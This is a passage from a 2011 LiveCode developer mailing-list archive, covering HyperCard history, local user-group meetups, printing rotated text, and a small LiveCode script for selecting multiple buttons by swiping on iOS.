be. When they actually get in and try to solve it, >> they find a world of complexity that was hiding behind their imaginations. >> Every serious developer finds this to be true eventually. That was my >> problem when I first started using Livecode. Coming from Hypercard, I >> thought, "Oh I know how to do that!" But I had to relearn a lot, and some >> things I had to learn from scratch, and I am still learning every day! >> >> Livecode is to me like a constructor set of pieces of things you can put >> together to make something, rather than a toolchest full of tools to make >> something. You can see the advantages and disadvantages of each approach. >> With a constructor set, parts are already prefabbed, and a system is worked >> out for how the pieces all fit together. You don't have to go get raw >> materials to work with, all that has been done for you. You just have to >> decide what you want to make, and if the parts all exist to be successful. >> But what you are going to end up with is no where near as elegant as you >> might have envisioned, nor will it be as functional, especially the more >> complex your project. But putting something together that is useful and >> even fairly complex is MUCH FASTER! >> >> The toolchest approach means you have to make each part yourself, from the >> ground up. Perhaps you can adapt to pieces others have built already, >> (API's, libraries etc) but essentially, everything has to be manufactured >> all by keeping in mind a very precise plan for how it will all fit and work >> together. LOT more planning is required, as well as a fairly refined >> skillset and a level of expertise that much fewer people have. And it is >> going to take a LOT more time, probably more than any one person really >> wants to spend, so you will probably have to enlist help for more complex >> projects, and they will have to be experienced to some degree as well. >> >> In the end it comes down to this: There are a huge number of people, that >> if convinced there is a software "constructor set" advanced enough and yet >> simple enough that they could make a customized app they really need for a >> minimal investment in time, learning and money, they would jump at the >> opportunity. We need to find those people. Neither the constructor set >> project, nor the toolchest project is going to build itself. And for my >> part, I know for a fact that I do not have the time to become proficient >> with the toolchests of today (Java, C++ Objective C) to ever get to the >> place where I can even begin to build something approaching useful. >> >> So I would rather work with the mystery knobs, because those I can figure >> out and then it won't be a mystery anymore. But the huge store of black >> magic behind the door that is Java, C++ and Objective C I will never grasp, >> and really don't want to. My 2? >> >> Bob >> >> >> On Dec 1, 2011, at 12:23 PM, Todd Geist wrote: >> >>> LiveCode has an awful lot of Mystery Knobs. >>> >>> Todd >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > Todd Geist > > > (805) 419-9382 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Watch live presentations every Saturday: http://livecode.tv Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From klaus at major.on-rev.com Fri Dec 2 09:22:56 2011 From: klaus at major.on-rev.com (Klaus on-rev) Date: Fri, 2 Dec 2011 15:22:56 +0100 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <9B6DA594-B962-41CB-947B-B8B6DA4A1B43@sahores-conseil.com> References: <45CCBE3E-893E-4CBD-A942-A6D5EFDE4EB1@major.on-rev.com> <9B6DA594-B962-41CB-947B-B8B6DA4A1B43@sahores-conseil.com> Message-ID: <93AA4236-36F3-468A-BE7E-3FDFDEC75B2D@major.on-rev.com> Bonjour Pierre, Am 02.12.2011 um 14:53 schrieb Pierre Sahores: > I did't got the bucks to license Oracle Media Objects ;-/ > What was this REAL "Table" object! ;-) you seems to say we can't redesign it in LC ? ;D Well, it was a REAL spreadsheet like in Excel! And one could addres it like that -> A3B4! Or something like this, I don't remember correctly anymore And since it was a "native" object with formattable cells (sic!), we cannot fake erm... rebuild this easily in LiveCode! > Kind regards, > > Pierre Best Klaus -- Klaus Major http://www.major-k.de klaus at major.on-rev.com From bdrunrev at gmail.com Fri Dec 2 09:28:59 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Fri, 2 Dec 2011 14:28:59 +0000 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> Message-ID: Bj?rnke, I think you are right on the money. I had never used Hypercard, but stumbled across Rev 1.1.1 and was staggered to think that this entire programming paradigm had passed me by (I wrote my first BASIC program in 1980). I'm glad that RunRev/Metacard had gone with a cross-platform implementation. I'm only just stepping my toe into mobile development, and I'm pretty sure that if it wasn't for Runrev facilitating that, I would not do it (I've a huge number of other programming/systems issues to deal with). If Apple had not ceased Hypercard development, then Runrev may never have taken off. Jobs focused with incredible vision, and Hypercard was a casualty. In fact, so was WebObjects, which was a product which was much closer to Jobs heart (being the product that sustained NeXT in its last few years before acquisition). There were key trajectories of WebObjects that were only ever started but never finished (e.g. DirectToJavaClient, where an application was developed by specifying rules). WebObjects is not dead but not really living much. The technology is still available to download, but it requires the use of the open-source Eclipse IDE for development, and requires many third-party open source libraries to function decently. The difference between the death of Hypercard and the stasis of WebObjects is about 5 to 10 years. WO was used (and probably is still used) as a fundamental infrastructure within apple.com. Nevertheless, the last retail copy of it was 5.2 (released in 2002). Apple still needed WO to persist, and made great use internally of 3rd party open-source libraries, so Apple continued to make minor updates to WO whilst no longer selling it. If Apple did not use WO themselves, I'm sure it would have simply died 5 years ago. So, Hypercard was not the only Apple innovation to be killed-off. Back in the day, NeXT used to charge $20,000 per server for WO, and I believe it was $5,000 for a developer license. 2011/12/2 Bj?rnke von Gierke > People who wrote in this thread about why HC was killed are all self > centric conspiracy lunatics. ... But of course Jobs did what he does best: > Concentrate on a single project (the iMac & what became Mac OS X), getting > ridiculed for it > From ambassador at fourthworld.com Fri Dec 2 10:10:02 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 02 Dec 2011 07:10:02 -0800 Subject: IMPORTANT: SoCal Meeting CANCELLED In-Reply-To: References: Message-ID: <4ED8EA4A.10603@fourthworld.com> Judy wrote: > Whatever happened to a mid-so-Cal meeting area in OC? I became infected - with the spirit of Ubuntu. :) It became increasingly difficult to find a venue which would work for everyone, and the meetings pretty much came to a standstill for many months. But as I mentioned in my post last month, when Bill Vlahos and I were having dinner a few weeks ago we really missed having our group meetings and wanted to come up with a way to make it happen now, if even in a smaller way. In the Ubuntu community there are many types of events, but the most common ones are what they call "Ubuntu Hour", where folks who enjoy that system simply pick a place and a regular time to meet and have smallish get-togethers, informal affairs with no agenda, no formal presentations, just sharing and problem-solving and good conversation, often at a local coffee shop, restaurant, or other public space. There are also larger events, like the annual Ubuntu Developer Summit (roughly equivalent in our community to the RevLive conferences RunRev hosts, and Chipp and Dan's RevCon before that), and regional meetings like UbuCon held in conjunction with the SoCal Linux Expo. But these smaller, community-focused Ubuntu Hour meetings are so easy to set up that they make a great way to enjoy the camaraderie of other fans on a more regular basis than a larger even can do. My post last month which originally announced the December meeting outlined some of these thoughts: While LiveCode doesn't have the 19 million users Ubuntu has, there are still many ways ideas from that community can benefit ours. So rather than the Pasadena LiveCode group displacing an OC group, it can simply serve as a model to encourage folks in OC to set up a separate group that's easy for everyone there to attend. San Diego as well, for Richard Herz and the others down there. In fact, it seems we have enough users in Rio to encourage Andre to consider starting one there, and perhaps Nicolas Cueto could start one in Tokyo. Klaus, got enough LiveCode users in your area to set up one in Hennef, or perhaps Bonn? LiveCode's audience has grown enough in recent years that I'll be most major cities - and a few smaller ones - have enough users to make a LiveCode Hour work well. Heather set up a place in the LiveCode forums to plan such meetings: I like the idea of also holding a larger regional meeting, in which we'd have a venue capable of serving the needs of all of the SoCal fans from Santa Barbara to San Diego, and perhaps we can set one up in 2012. But in the meantime, for OC please consider setting up a local meetup which would be easy for those living in OC to attend. If I can help with that in any way I'd be happy to do so. And schedule permitting, if it happens near an MetroLink line I might even attend from time to time. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From andre at andregarzia.com Fri Dec 2 10:53:27 2011 From: andre at andregarzia.com (Andre Garzia) Date: Fri, 2 Dec 2011 13:53:27 -0200 Subject: IMPORTANT: SoCal Meeting CANCELLED In-Reply-To: <4ED8EA4A.10603@fourthworld.com> References: <4ED8EA4A.10603@fourthworld.com> Message-ID: On Fri, Dec 2, 2011 at 1:10 PM, Richard Gaskin wrote: > In fact, it seems we have enough users in Rio to encourage Andre to > consider starting one there, and perhaps Nicolas Cueto could start one in > Tokyo. Klaus, got enough LiveCode users in your area to set up one in > Hennef, or perhaps Bonn? Where are they??? I would welcome some company here! I would set up a group here if we had something like 4 or 5 guys/gals. -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From dfepstein at comcast.net Fri Dec 2 10:59:42 2011 From: dfepstein at comcast.net (dfepstein at comcast.net) Date: Fri, 2 Dec 2011 15:59:42 +0000 (UTC) Subject: printing rotated text In-Reply-To: Message-ID: <1499860261.584213.1322841582786.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> Ben Rubenstein asked ????????????????? Can I just confirm that there's no way to print high-quality rotated text from LC??? Create the field with fontsize 4 times what your want, take a snapshot, rotate, paste, and?reduce the image's width and length to 25% of the original . David Epstein From bobs at twft.com Fri Dec 2 11:45:47 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 2 Dec 2011 08:45:47 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> Message-ID: <899085F1-AD1B-438D-B268-52AB5FD4A197@twft.com> Yes this is true, but only because someone else dealt with the complexity, solved the problems, and then presented the end user with a machine that did the work or calculations for him. But make no mistake someone had to solve the actual problems or there would have been no machine/calculator/whatever. In fact it's added complexity that causes obsolescence. The simple example is the stone wheel. Great for long distance hauling, very durable, holds a lot of weight. Terrible for speed. Very heavy. As soon as you add the need for speed, you have to re-engineer the wheel. Its true however that once someone engineers a new wheel that is much lighter, still fairly durable, and can go faster, the end user doesn't have to know anything about how he did it. He just goes down to the wheel shop and trades a few horses for a couple wheels. Simple right? :-) Bob On Dec 1, 2011, at 5:15 PM, Todd Geist wrote: > But your other point about a solution not being simpler than the problem it > is meant to solve. I understand what you mean. But if that were true then > there wouldn't be much advancement in technology. I think that > breakthroughs in technology are really about taking a complex problem and > making it simpler. The best solutions are the simplest ones. From pepetoo at cox.net Fri Dec 2 11:47:16 2011 From: pepetoo at cox.net (Joe Lewis Wilkins) Date: Fri, 2 Dec 2011 08:47:16 -0800 Subject: printing rotated text In-Reply-To: <1499860261.584213.1322841582786.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> References: <1499860261.584213.1322841582786.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> Message-ID: Late to visit this thread, but when I need to do something of this nature I do it in MacDraft, Export it as a JPG or?... at whatever resolution I want; and then import or paste that into an LC image. Then it's up to the printer. Usually the quality is quite good. If you are interested in this approach send me what your needs be directly and I'll get it back to you. To assure it passes my spam blocker, put "Architect" in the subject line. Joe Wilkins Architect On Dec 2, 2011, at 7:59 AM, dfepstein at comcast.net wrote: > > > Ben Rubenstein asked > > Can I just confirm that there's no way to print high-quality rotated text from LC? > > > > Create the field with fontsize 4 times what your want, take a snapshot, rotate, paste, and reduce the image's width and length to 25% of the original . > > David Epstein > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 2 11:49:01 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 2 Dec 2011 08:49:01 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <9484A1BF-7A0F-4403-9E46-C2CA8F1FBDE3@sahores-conseil.com> Message-ID: <23783089-BBA2-4EDA-BF72-B099795EAFF7@twft.com> Ah but you have pulled a bait and switch. The owner is solving a different problem. He needs to get in again and again, whilst keeping others without the key out. Much more complex than the thief's problem, which is getting in only once and to hell with the owner or anyone else. Bob On Dec 2, 2011, at 5:06 AM, Mike Bonner wrote: > The owner will punch in the combination. > > Law abiding citizens will go through the owner for access to the case. > > A thief will bring a hammer. From bobs at twft.com Fri Dec 2 11:51:02 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 2 Dec 2011 08:51:02 -0800 Subject: =?iso-8859-1?Q?Re=3A_R=E9p_=3A_=5BOT=7D=5D_Hypercard_and_an_unea?= =?iso-8859-1?Q?sy_read=2E?= In-Reply-To: References: Message-ID: Hmmm disagree. Most people do not want to do accounting either, and so do not have accounting software. That is not an argument for why accounting software should go away. Bob On Dec 2, 2011, at 5:32 AM, Pierre Sahores wrote: > David Stevens says: December 1, 2011 at 3:10 pm > > A likely reason for it?s death is simple that most people do not want to program, and have no desire for programming. While I enjoy programming, and have been at it for quite some time, most people are looking for something they can use, not something they can use to make something they can use." From bobs at twft.com Fri Dec 2 11:53:12 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 2 Dec 2011 08:53:12 -0800 Subject: Custom Property Data Limit? In-Reply-To: References: <4ED7BFAF.8040208@comcast.net> <1316407331-1322774781-cardhu_decombobulator_blackberry.rim.net-1600297813-@b27.c31.bise6.blackberry> <8CE7EA26F3245D9-1CBC-2192A@web-mmc-m09.sysops.aol.com> Message-ID: Yes, my idea has always been to limit my queries to a certain number of records, and then have some transparent method for paging, but this other method of updating the datagrid via callbacks intrigues me. Bob On Dec 2, 2011, at 3:01 AM, Bernard Devlin wrote: > You wouldn't necessarily need to display 1 billion rows in a datagrid. You > would extract the subset you need and then display them in the datagrid. > > Bernard From sc at sahores-conseil.com Fri Dec 2 12:27:36 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Fri, 2 Dec 2011 18:27:36 +0100 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <5C3B48C6-263A-4DB4-BAA9-D1FCCF2C635B@numericable.com> References: <5C3B48C6-263A-4DB4-BAA9-D1FCCF2C635B@numericable.com> Message-ID: <733B9D97-8DC9-4AEB-BD00-7D98E9F23EC8@sahores-conseil.com> Le 2 d?c. 2011 ? 14:55, Ren? Micout a ?crit : > > Le 2 d?c. 2011 ? 14:32, Pierre Sahores a ?crit : > >> the workflow we need to build to solve the initial defined customer's need. > > Bonjour Pierre, Bonsoir Ren?, > A little precision : with HC the initial customer and programmer was the same person... > I think that will be the same with LC... But is really the case? Probably not... Perhaps that a multileveled LC Media where features could be shown/hidden on demand "? la Hypercard 2" (remember its 5 distinct levels of functionalities) would help hobbysts and new comers to makes it learning curve more affordable ? > Or is LC becomes a language like another ? Surely not ;D We just need to remind in what the xtalk paradigm adds in creativity and methodology freedom terms to academic programming to get the answer to this. To the end, methodology makes always the main difference and it's perhaps why some very great frameworks (JQuery) or coding habits can greatly help to make JS, PHP and other... lots more productive than they would mostly seems instead. LC is king-sized about productivity and its the less we can do to remember it, time to time ;-) What i mostly loved LC for, about the last two years of works, is the way this XTalk helped me to design new kind of web apps in implementing them in using a "Operational semantic programming" (Programmation s?mantique op?rationnelle) way to go, lots ahead before what the theory purpose in academic course about this since 2006 (Ecole Polytechnique, ENS,...). Because LC, we can yet code in using OSP (PSO) to design our applications in an incredible productive way : Operational semantic programming is an innovative methodology that allows us to regain control of the software complexity with a simple unified approach that encompasses both the information system architecture as the technical implementation of the code. It is based on the linking of two simple structures: - The flow algorithm, such as patterns of 2D representation of the complexity of the software process model, where vertices represent functions and edges the messages; - Procedural programming - modular and structured - organizing the call of highly specialized functions, representing each, the first element of the dismemberment of the complexity of the entire code (or a subset of code) used by simple reading of the 2D modeling scheme in the composition of the computer program completed or under development. Better than UML2, Operational semantic programming is probably a unique way to give its "music theory" to the programming work (art of) ... Even if OSP can applies to any programming language suited to meet its principles (Javascript, PHP, C,...), all languages are not equal against OSP and XTalk are probably the most well suited for this, while Java SE 7 could, perhaps..., be the worst ! Kind regards, > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From sc at sahores-conseil.com Fri Dec 2 12:57:11 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Fri, 2 Dec 2011 18:57:11 +0100 Subject: IMPORTANT: SoCal Meeting CANCELLED In-Reply-To: References: <4ED8EA4A.10603@fourthworld.com> Message-ID: Same there in France, as long as i know... Do i mistake Kevin ? Le 2 d?c. 2011 ? 16:53, Andre Garzia a ?crit : > Where are they??? I would welcome some company here! I would set up a group > here if we had something like 4 or 5 guys/gals. -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From admin at FlexibleLearning.com Fri Dec 2 13:14:30 2011 From: admin at FlexibleLearning.com (FlexibleLearning) Date: Fri, 2 Dec 2011 18:14:30 -0000 Subject: printing rotated text In-Reply-To: Message-ID: Unless you know different, this doesn't work. The snapshot option remains at 72dpi after scaling. The only way seems to be scaling an import an image from an external image file. Hugh Senior FLCo David Epstein wrote: Create the field with fontsize 4 times what your want, take a snapshot, rotate, paste, and?reduce the image's width and length to 25% of the original . From iowahengst at mac.com Fri Dec 2 13:35:13 2011 From: iowahengst at mac.com (Randy Hengst) Date: Fri, 02 Dec 2011 12:35:13 -0600 Subject: Selecting Multiple Buttons in iOS In-Reply-To: <4ED41EDE.9010603@hyperactivesw.com> References: <6A9D6B90-1422-48BD-A73B-DD255BFCEFB4@mac.com> <4ED41EDE.9010603@hyperactivesw.com> Message-ID: <01FA8B9E-41E5-43CF-86CD-2FB4304632BB@mac.com> Hi Jaque, I've continued to play with this idea. I've moved my handlers to the card script. I have a variable set as a marker? it's made "true" in the mouseDown. However, a mouseEnter does not seem to be sent while a dragging with the mouse (or your finger in iOS) down? neither does the mouseLoc() get updated? The mouseEnter script does set the highlight when I just click a different button to set the flag... So, I can make each of the parts work.. .set the flag in mouseDown, use mouseEnter to highlight the button but, still no luck trying to combine them into one "swipe" type of move in iOS. Any thoughts as to what I continue to mess up? be well, randy On Nov 28, 2011, at 5:53 PM, J. Landman Gay wrote: > On 11/27/11 8:28 PM, Randy Hengst wrote: > >> I thought it would be nice to allow the user to select a button with >> a tap and then slide(swipe) to the right or left to select other >> buttons. > > Create a script local variable to serve as a flag, and initialize it to false. When the first button gets a mouseDown, do its hiliting and set the flag variable to true. Write a mouseEnter handler that checks to see if the script local flag is true and if the target is one of the ten buttons in the row. If so, hilite that button. On mouseUp, set the flag to false so hiliting will stop. > > The handlers should all be in the same script, probably the card script, so they can all read the flag status. There are other ways to do it but that's the easiest. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From benr_mc at cogapp.com Fri Dec 2 13:35:45 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Fri, 02 Dec 2011 18:35:45 +0000 Subject: printing rotated text In-Reply-To: <1499860261.584213.1322841582786.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> References: <1499860261.584213.1322841582786.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> Message-ID: <4ED91A81.5030305@cogapp.com> On 02/12/2011 15:59, dfepstein at comcast.net wrote: > Create the field with fontsize 4 times what your want, take a snapshot, rotate, paste, and reduce the image's width and length to 25% of the original . Yep, that's exactly what I'm doing (not the paste bit, ie the code puts text into a field, takes the snapshot, rotates the snapshot, and then uses the 'print ... into rect' syntax to have it scaled on the printer). But it's ugly, and while if I know the exact resolution of the printer I should get something like the right result, if for example I generate a PDF when you zoom it, you can see the horizontal text scale smoothly, while the vertical text reveals its bitmap horrors. So if there was a way to do it right - ie a 'printRotated' property that could be set and reset multiple times within a single print job - that would be nicer. On 02/12/2011 14:00, FlexibleLearning wrote: > Up to 4.6.2, you get increased image resolution if you import an image and > scale it down, but not if you take a snapshot and scale it down. > > I did bug-report this anomoly ages ago. Maybe they fixed increased res on > snapshots in 5.0 (not tried yet). It's working fine for me in the latest version. thanks all for your responses, Ben From benr_mc at cogapp.com Fri Dec 2 13:39:28 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Fri, 02 Dec 2011 18:39:28 +0000 Subject: printing rotated text In-Reply-To: References: Message-ID: <4ED91B60.8030701@cogapp.com> On 02/12/2011 18:14, FlexibleLearning wrote: > Unless you know different, this doesn't work. The snapshot option remains at > 72dpi after scaling. The only way seems to be scaling an import an image > from an external image file. > > Hugh Senior > FLCo > > > David Epstein wrote: > > Create the field with fontsize 4 times what your want, take a snapshot, > rotate, paste, and?reduce the image's width and length to 25% of the > original . I think it's just stated in a slightly misleading way; you don't actually scale the image down, you tell the printing code to print it at a reduced size - that takes advantage of all the pixels in the original image. Ben From roger.e.eller at sealedair.com Fri Dec 2 13:58:29 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Fri, 2 Dec 2011 13:58:29 -0500 Subject: printing rotated text In-Reply-To: <4ED91A81.5030305@cogapp.com> References: <1499860261.584213.1322841582786.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> <4ED91A81.5030305@cogapp.com> Message-ID: On Fri, Dec 2, 2011 at 1:35 PM, Ben Rubinstein wrote: > > So if there was a way to do it right - ie a 'printRotated' property that > could be set and reset multiple times within a single print job - that > would be nicer. > > Ben I would rather have rotation angle as a property of a text field. This has been requested many times in the past, but RunRev doesn't really want to do it. It comes as no surprise that rotating text was NOT on their recent survey, although it is a feature that many of us could use. ?Roger From benr_mc at cogapp.com Fri Dec 2 14:15:47 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Fri, 02 Dec 2011 19:15:47 +0000 Subject: printing rotated text In-Reply-To: References: <1499860261.584213.1322841582786.JavaMail.root@sz0051a.westchester.pa.mail.comcast.net> <4ED91A81.5030305@cogapp.com> Message-ID: <4ED923E3.6050500@cogapp.com> On 02/12/2011 18:58, Roger Eller wrote: >> So if there was a way to do it right - ie a 'printRotated' property that >> could be set and reset multiple times within a single print job - that >> would be nicer. > > I would rather have rotation angle as a property of a text field. This has > been requested many times in the past, but RunRev doesn't really want to do > it. It comes as no surprise that rotating text was NOT on their recent > survey, although it is a feature that many of us could use. I do see your point - but in terms of effort, support a rotation property in printing (and you're correct that it should be an angle rather than a boolean) - which would affect all printing - should be relatively trivial to implement, whereas supporting rotated text fields on screen would be far from that. Ben From zellner at tamu.edu Fri Dec 2 14:31:53 2011 From: zellner at tamu.edu (Ronald Zellner) Date: Fri, 2 Dec 2011 13:31:53 -0600 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: Message-ID: <804046E9-A768-445E-B25E-AE41C5837688@tamu.edu> Don't know which message in the thread to replicate here. I was an early adopter of Hypercard and had developed an interesting set of resources utilizing our local Corvus network in the early 90s (the university wasn't yet networked back then.) Students received copies of a "Workbook" stack and completed a series of 15 exercises throughout the semester. As each exercise was due they would need to be in one of the Labs and utilize an HC submit function that copied their input to a master stack on the server. The Graduate assistants could then scan through the various sections stored on the server HC stacks (there were 10 sections with 20 students in each) and grade the assignments. All grades were based on distinct rubrics and automatically copied to a master grade stack for server storage and final course grading (much like a multi-worksheet spreadsheet). Students could also query the system for their individual grade records and feedback. It worked well, but ran into the problem that students needed to come to the lab to enter their work; as the dorms became networked and students acquired their own computers the problem was that HC only ran on Macs so I discontinued the system when the PC user discontent was not worth the convenience of electronic delivery/management. I was reluctant to give up on HC, but since I needed to work with the full range of users it was quite difficult to continue. When the Internet matured and Javascript evolved I recognized that I could resurrect the system in a fully cross-platform format, at first with a FileMaker server & Javascript/HTML. However, I was very excited when I found Revolution in 1999, and subsequently developed a stand-alone Revolution version of the workbook that used the Filemaker server for storage. Students could work anywhere, submit assignment content, and access grading feedback quite conveniently. The final version used SQL for data storage and access. There was a wide range of factors influencing what approaches to take and what to develop in educational settings. By the way, I have an extra copy of Danny Goodman's "The Complete HyperCard 2.2 Handbook" if there is a collector among you who will pay the postage. Ron From jacque at hyperactivesw.com Fri Dec 2 14:38:35 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 02 Dec 2011 13:38:35 -0600 Subject: Selecting Multiple Buttons in iOS In-Reply-To: <01FA8B9E-41E5-43CF-86CD-2FB4304632BB@mac.com> References: <6A9D6B90-1422-48BD-A73B-DD255BFCEFB4@mac.com> <4ED41EDE.9010603@hyperactivesw.com> <01FA8B9E-41E5-43CF-86CD-2FB4304632BB@mac.com> Message-ID: <4ED9293B.4090809@hyperactivesw.com> On 12/2/11 12:35 PM, Randy Hengst wrote: > I have a variable set as a marker? it's made "true" in the > mouseDown. > > However, a mouseEnter does not seem to be sent while a dragging with > the mouse (or your finger in iOS) down? neither does the mouseLoc() > get updated? Interesting. You're right. This seems to work instead: local sFlag on mouseDown put true into sFlag end mouseDown on mouseMove x,y if not sFlag then pass mousemove repeat with i = 1 to 10 if x,y is within the rect of btn i then put the short name of btn i end if end repeat end mouseMove on mouseUp put false into sFlag end mouseUp on mouseRelease put false into sFlag end mouseRelease I put it into a card script. LiveCode is pretty fast, I don't see any lag while polling. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From ambassador at fourthworld.com Fri Dec 2 14:59:09 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 02 Dec 2011 11:59:09 -0800 Subject: IMPORTANT: SoCal Meeting CANCELLED In-Reply-To: References: Message-ID: <4ED92E0D.8020906@fourthworld.com> Andre Garzia wrote: > On Fri, Dec 2, 2011 at 1:10 PM, Richard Gaskin wrote: > >> In fact, it seems we have enough users in Rio to encourage Andre to >> consider starting one there, and perhaps Nicolas Cueto could start one in >> Tokyo. Klaus, got enough LiveCode users in your area to set up one in >> Hennef, or perhaps Bonn? > > > Where are they??? I would welcome some company here! I would set up a group > here if we had something like 4 or 5 guys/gals. Post a note in the forums and see what happens: -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From jacques.clavel at gmail.com Fri Dec 2 15:22:58 2011 From: jacques.clavel at gmail.com (jacques CLAVEL) Date: Fri, 2 Dec 2011 21:22:58 +0100 Subject: IMPORTANT: SoCal Meeting CANCELLED In-Reply-To: References: <4ED8EA4A.10603@fourthworld.com> Message-ID: Pierre, Pour info : just on the other side of the Gave there is a town called : Bill?re. Do you know? 2011/12/2 Pierre Sahores > Same there in France, as long as i know... Do i mistake Kevin ? > > Le 2 d?c. 2011 ? 16:53, Andre Garzia a ?crit : > > > Where are they??? I would welcome some company here! I would set up a > group > > here if we had something like 4 or 5 guys/gals. > > -- > Pierre Sahores > mobile : 06 03 95 77 70 > www.sahores-conseil.com > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From benr_mc at cogapp.com Fri Dec 2 15:50:30 2011 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Fri, 02 Dec 2011 20:50:30 +0000 Subject: Have you made an iOS or Android app with LiveCode and published it in an app store? In-Reply-To: <4ED6A924.1080106@cogapp.com> References: <4ED6A924.1080106@cogapp.com> Message-ID: <4ED93A16.7060207@cogapp.com> Many thanks to the folks who've so far taken the time to report their apps at the URL http://www.surveymk.com/s/C93Y6LT 34 apps so far (but only one on Android - can that be correct?). If you've published a mobile app in an app store, that was made with LiveCode, please take a moment to add the details at the above URL. If you want to see a somewhat frustrating view of the data, you can get that at: http://bit.ly/vYBUFh when it looks like all that will respond have done so, I'll present the data in a more useful format app by app, and post that in this list. Ben On 30/11/2011 22:07, Ben Rubinstein wrote: > About 9 months ago, a few months after the first LiveCode-made app was > accepted into Apple's app store, I posted a message on the dev list asking > anyone who'd now had an app published on the app store to stick their hands > up. I was surprised and impressed with the results. > > It's now thirteen months since that first app was accepted; and from remarks > on the list I think quite a few more people have published apps into Apple's > app store, and now we're also able to make Android apps. But AFAIK there's no > way to tell from an app store whether any given app was made with LiveCode. > > So, to satisfy my curiosity, I'm asking the same question again. > > If you've made an app with LiveCode for Android, iPhone or iPad, and offered > it on an app store, and don't mind telling the world about it, please take a > moment to complete this very brief (one page, four mandatory questions, four > optional questions) data collection form: > > http://www.surveymk.com/s/C93Y6LT > > The system should allow you to complete it multiple times - if you've got more > than one app, please complete it for each one. > > I'll publish all the results back to this list - so don't mention anything you > don't want to say publicly! > > Thanks in advance, > > Ben > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From martyknapp at comcast.net Fri Dec 2 15:51:11 2011 From: martyknapp at comcast.net (Marty Knapp) Date: Fri, 02 Dec 2011 12:51:11 -0800 Subject: Custom Property Data Limit? In-Reply-To: <4ED8209C.9060800@hyperactivesw.com> References: <4ED7BFAF.8040208@comcast.net> <4ED8209C.9060800@hyperactivesw.com> Message-ID: <4ED93A3F.2050704@comcast.net> I just did a test and 200,000 records in my data set (stored as a tab delimited custom property) results in a stack of about 46mb. That's well under the 4 gig limit that you mention. But it takes a long time to load in a datagrid! I have questions about that so I'll start another thread. Thanks, Marty > On 12/1/11 11:55 AM, Marty Knapp wrote: >> I'm storing a 